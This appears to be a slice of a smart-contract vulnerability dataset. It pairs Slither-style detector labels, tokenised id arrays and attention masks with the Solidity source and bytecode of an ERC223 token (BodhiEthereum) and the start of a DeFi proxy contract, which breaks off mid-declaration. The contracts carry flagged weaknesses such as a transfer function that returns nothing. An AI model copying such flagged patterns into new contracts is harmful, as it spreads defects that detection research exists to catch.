{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 20952, 2692, 2549, 2497, 20842, 15878, 2581, 2683, 2063, 2549, 20952, 2692, 2278, 2683, 14141, 2278, 22203, 2278, 2546, 25746, 12740, 19317, 2509, 7011, 19481, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 7817, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5164, 3136, 1012, 1008, 1013, 3075, 7817, 1063, 27507, 16048, 2797, 5377, 1035, 2002, 2595, 1035, 9255, 1027, 1000, 5890, 21926, 19961, 2575, 2581, 2620, 2683, 7875, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,602
0x970e035e2a013cf4becd67e300d65bc32a56d826
pragma solidity ^0.4.23; /** * @title ERC20 interface * @dev Implements ERC20 Token Standard: https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public totalSupply; function transfer(address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public view returns (uint256 balance); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function sub(uint256 x, uint256 y) internal pure returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function mul(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x * y; assert((x == 0) || (z / x == y)); return z; } function div(uint256 x, uint256 y) internal pure returns(uint256) { assert(y != 0); uint256 z = x / y; assert(x == y * z + x % y); return z; } } /// @title Contract that will work with ERC223 tokens. contract ERC223ReceivingContract { /* * @dev Standard ERC223 function that will handle incoming token transfers. * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) external; } /** * @title Ownable contract * @dev The Ownable contract has an owner address, and provides basic authorization control functions. */ contract Ownable { address public owner; // Modifiers modifier onlyOwner() { require(msg.sender == owner); _; } modifier validAddress(address _address) { require(_address != address(0)); _; } // Events event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); /// @dev The Ownable constructor sets the original `owner` of the contract to the sender account. constructor(address _owner) public validAddress(_owner) { owner = _owner; } /// @dev Allows the current owner to transfer control of the contract to a newOwner. /// @param _newOwner The address to transfer ownership to. function transferOwnership(address _newOwner) public onlyOwner validAddress(_newOwner) { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC223 is ERC20 { function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } contract StandardToken is ERC223 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // Modifiers modifier validAddress(address _address) { require(_address != address(0)); _; } /* * @dev ERC20 method to transfer token to a specified address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; transfer(_to, _value, empty); } /* * @dev ERC223 method to transfer token to a specified address with data. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint256 _value, bytes _data) public validAddress(_to) returns (bool success) { uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); // Call token fallback function if _to is a contract. Rejects if not implemented. if (codeLength > 0) { ERC223ReceivingContract(_to).tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public validAddress(_to) returns (bool) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { // Events event Mint(uint256 supply, address indexed to, uint256 amount); function tokenTotalSupply() public pure returns (uint256); /// @dev Allows the owner to mint new tokens /// @param _to Address to mint the tokens to /// @param _amount Amount of tokens that will be minted /// @return Boolean to signify successful minting function mint(address _to, uint256 _amount) external onlyOwner returns (bool) { require(totalSupply.add(_amount) <= tokenTotalSupply()); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(totalSupply, _to, _amount); emit Transfer(address(0), _to, _amount); return true; } } contract BodhiEthereum is MintableToken { // Token configurations string public constant name = "Bodhi Ethereum"; string public constant symbol = "BOE"; uint256 public constant decimals = 8; constructor() Ownable(msg.sender) public { } // 100 million BOE ever created function tokenTotalSupply() public pure returns (uint256) { return 100 * (10**6) * (10**decimals); } }
0x6080604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019657806323b872dd146101bd578063313ce567146101e757806340c10f19146101fc57806370a08231146102205780638da5cb5b1461024157806395d89b4114610272578063a9059cbb14610287578063be45fd62146102ab578063dd62ed3e14610314578063f2fde38b1461033b578063f7abab9e1461035e575b600080fd5b3480156100e057600080fd5b506100e9610373565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012357818101518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016a57600080fd5b50610182600160a060020a03600435166024356103aa565b604080519115158252519081900360200190f35b3480156101a257600080fd5b506101ab61044c565b60408051918252519081900360200190f35b3480156101c957600080fd5b50610182600160a060020a0360043581169060243516604435610452565b3480156101f357600080fd5b506101ab610578565b34801561020857600080fd5b50610182600160a060020a036004351660243561057d565b34801561022c57600080fd5b506101ab600160a060020a036004351661069e565b34801561024d57600080fd5b506102566106b9565b60408051600160a060020a039092168252519081900360200190f35b34801561027e57600080fd5b506100e96106c8565b34801561029357600080fd5b50610182600160a060020a03600435166024356106ff565b3480156102b757600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610182948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107169650505050505050565b34801561032057600080fd5b506101ab600160a060020a03600435811690602435166109a8565b34801561034757600080fd5b5061035c600160a060020a03600435166109d3565b005b34801561036a57600080fd5b506101ab610a6a565b60408051808201909152600e81527f426f64686920457468657265756d000000000000000000000000000000000000602082015281565b60008115806103da5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156103e557600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b60008083600160a060020a038116151561046b57600080fd5b600160a060020a038616600081815260026020908152604080832033845282528083205493835260019091529020549092506104ad908563ffffffff610a7516565b600160a060020a0380881660009081526001602052604080822093909355908716815220546104e2908563ffffffff610a8916565b600160a060020a03861660009081526001602052604090205561050b828563ffffffff610a7516565b600160a060020a03808816600081815260026020908152604080832033845282529182902094909455805188815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600195945050505050565b600881565b600354600090600160a060020a0316331461059757600080fd5b61059f610a6a565b6000546105b2908463ffffffff610a8916565b11156105bd57600080fd5b6000546105d0908363ffffffff610a8916565b6000908155600160a060020a0384168152600160205260409020546105fb908363ffffffff610a8916565b600160a060020a03841660008181526001602090815260408083209490945590548351908152908101859052825191927f4e3883c75cc9c752bb1db2e406a822e4a75067ae77ad9a0a4d179f2709b9e1f692918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051808201909152600381527f424f450000000000000000000000000000000000000000000000000000000000602082015281565b6000606061070e848483610716565b505092915050565b60008084600160a060020a038116151561072f57600080fd5b33600090815260016020526040902054863b9250610753908663ffffffff610a7516565b3360009081526001602052604080822092909255600160a060020a03881681522054610785908663ffffffff610a8916565b600160a060020a0387166000908152600160205260408120919091558211156108a75785600160a060020a031663c0ee0b8a3387876040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610840578181015183820152602001610828565b50505050905090810190601f16801561086d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561088e57600080fd5b505af11580156108a2573d6000803e3d6000fd5b505050505b604080518681529051600160a060020a0388169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a385600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610961578181015183820152602001610949565b50505050905090810190601f16801561098e5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600195945050505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146109ea57600080fd5b80600160a060020a0381161515610a0057600080fd5b600354604051600160a060020a038085169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3506003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b662386f26fc1000090565b60008082841015610a8257fe5b5050900390565b6000828201838110801590610a9e5750828110155b1515610aa657fe5b93925050505600a165627a7a7230582028e8a141cf66387e56d3fe42bf670b66e2efb75136a17d882e2028850d9a4a9a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 19841, 2063, 2692, 19481, 2063, 2475, 2050, 24096, 2509, 2278, 2546, 2549, 4783, 19797, 2575, 2581, 2063, 14142, 2692, 2094, 26187, 9818, 16703, 2050, 26976, 2094, 2620, 23833, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2603, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 22164, 9413, 2278, 11387, 19204, 3115, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1008, 1013, 3206, 9413, 2278, 11387, 1063, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 3112, 1007, 1025, 3853, 14300, 1006, 4769, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,603
0x970e34ffcd32d8d514ef6a54ee53fa1b21087cba
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface ERC20 { function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function decimals() external view returns (uint256 digits); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } abstract contract TokenInterface { address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } abstract contract DSProxy is DSAuth, DSNote { DSProxyCache public cache; // global cache for contracts constructor(address _cacheAddr) public { require(setCache(_cacheAddr)); } // solhint-disable-next-line no-empty-blocks receive() external payable {} // use the proxy to execute calldata _data on contract _code // function execute(bytes memory _code, bytes memory _data) // public // payable // virtual // returns (address target, bytes32 response); function execute(address _target, bytes memory _data) public payable virtual returns (bytes32 response); //set new cache function setCache(address _cacheAddr) public virtual payable returns (bool); } contract DSProxyCache { mapping(bytes32 => address) cache; function read(bytes memory _code) public view returns (address) { bytes32 hash = keccak256(_code); return cache[hash]; } function write(bytes memory _code) public returns (address target) { assembly { target := create(0, add(_code, 0x20), mload(_code)) switch iszero(extcodesize(target)) case 1 { // throw if contract failed to deploy revert(0, 0) } } bytes32 hash = keccak256(_code); cache[hash] = target; } } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } abstract contract IFeeRecipient { function getFeeAddr() public view virtual returns (address); function changeWalletAddr(address _newWallet) public virtual; } abstract contract IAToken { function redeem(uint256 _amount) external virtual; function balanceOf(address _owner) external virtual view returns (uint256 balance); } /** * @title LendingPoolAddressesProvider contract * @dev Main registry of addresses part of or connected to the protocol, including permissioned roles * - Acting also as factory of proxies and admin of those, so with right to change its implementations * - Owned by the Aave Governance * @author Aave **/ interface ILendingPoolAddressesProviderV2 { event LendingPoolUpdated(address indexed newAddress); event ConfigurationAdminUpdated(address indexed newAddress); event EmergencyAdminUpdated(address indexed newAddress); event LendingPoolConfiguratorUpdated(address indexed newAddress); event LendingPoolCollateralManagerUpdated(address indexed newAddress); event PriceOracleUpdated(address indexed newAddress); event LendingRateOracleUpdated(address indexed newAddress); event ProxyCreated(bytes32 id, address indexed newAddress); event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy); function setAddress(bytes32 id, address newAddress) external; function setAddressAsProxy(bytes32 id, address impl) external; function getAddress(bytes32 id) external view returns (address); function getLendingPool() external view returns (address); function setLendingPoolImpl(address pool) external; function getLendingPoolConfigurator() external view returns (address); function setLendingPoolConfiguratorImpl(address configurator) external; function getLendingPoolCollateralManager() external view returns (address); function setLendingPoolCollateralManager(address manager) external; function getPoolAdmin() external view returns (address); function setPoolAdmin(address admin) external; function getEmergencyAdmin() external view returns (address); function setEmergencyAdmin(address admin) external; function getPriceOracle() external view returns (address); function setPriceOracle(address priceOracle) external; function getLendingRateOracle() external view returns (address); function setLendingRateOracle(address lendingRateOracle) external; } library DataTypes { // refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties. struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; } struct ReserveConfigurationMap { //bit 0-15: LTV //bit 16-31: Liq. threshold //bit 32-47: Liq. bonus //bit 48-55: Decimals //bit 56: Reserve is active //bit 57: reserve is frozen //bit 58: borrowing is enabled //bit 59: stable rate borrowing enabled //bit 60-63: reserved //bit 64-79: reserve factor uint256 data; } struct UserConfigurationMap { uint256 data; } enum InterestRateMode {NONE, STABLE, VARIABLE} } interface ILendingPoolV2 { /** * @dev Emitted on deposit() * @param reserve The address of the underlying asset of the reserve * @param user The address initiating the deposit * @param onBehalfOf The beneficiary of the deposit, receiving the aTokens * @param amount The amount deposited * @param referral The referral code used **/ event Deposit( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param reserve The address of the underlyng asset being withdrawn * @param user The address initiating the withdrawal, owner of aTokens * @param to Address that will receive the underlying * @param amount The amount to be withdrawn **/ event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount); /** * @dev Emitted on borrow() and flashLoan() when debt needs to be opened * @param reserve The address of the underlying asset being borrowed * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just * initiator of the transaction on flashLoan() * @param onBehalfOf The address that will be getting the debt * @param amount The amount borrowed out * @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable * @param borrowRate The numeric rate at which the user has borrowed * @param referral The referral code used **/ event Borrow( address indexed reserve, address user, address indexed onBehalfOf, uint256 amount, uint256 borrowRateMode, uint256 borrowRate, uint16 indexed referral ); /** * @dev Emitted on repay() * @param reserve The address of the underlying asset of the reserve * @param user The beneficiary of the repayment, getting his debt reduced * @param repayer The address of the user initiating the repay(), providing the funds * @param amount The amount repaid **/ event Repay( address indexed reserve, address indexed user, address indexed repayer, uint256 amount ); /** * @dev Emitted on swapBorrowRateMode() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user swapping his rate mode * @param rateMode The rate mode that the user wants to swap to **/ event Swap(address indexed reserve, address indexed user, uint256 rateMode); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user); /** * @dev Emitted on setUserUseReserveAsCollateral() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user enabling the usage as collateral **/ event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user); /** * @dev Emitted on rebalanceStableBorrowRate() * @param reserve The address of the underlying asset of the reserve * @param user The address of the user for which the rebalance has been executed **/ event RebalanceStableBorrowRate(address indexed reserve, address indexed user); /** * @dev Emitted on flashLoan() * @param target The address of the flash loan receiver contract * @param initiator The address initiating the flash loan * @param asset The address of the asset being flash borrowed * @param amount The amount flash borrowed * @param premium The fee flash borrowed * @param referralCode The referral code used **/ event FlashLoan( address indexed target, address indexed initiator, address indexed asset, uint256 amount, uint256 premium, uint16 referralCode ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via * LendingPoolCollateral manager using a DELEGATECALL * This allows to have the events in the generated ABI for LendingPool. * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation * @param user The address of the borrower getting liquidated * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover * @param liquidatedCollateralAmount The amount of collateral received by the liiquidator * @param liquidator The address of the liquidator * @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants * to receive the underlying collateral asset directly **/ event LiquidationCall( address indexed collateralAsset, address indexed debtAsset, address 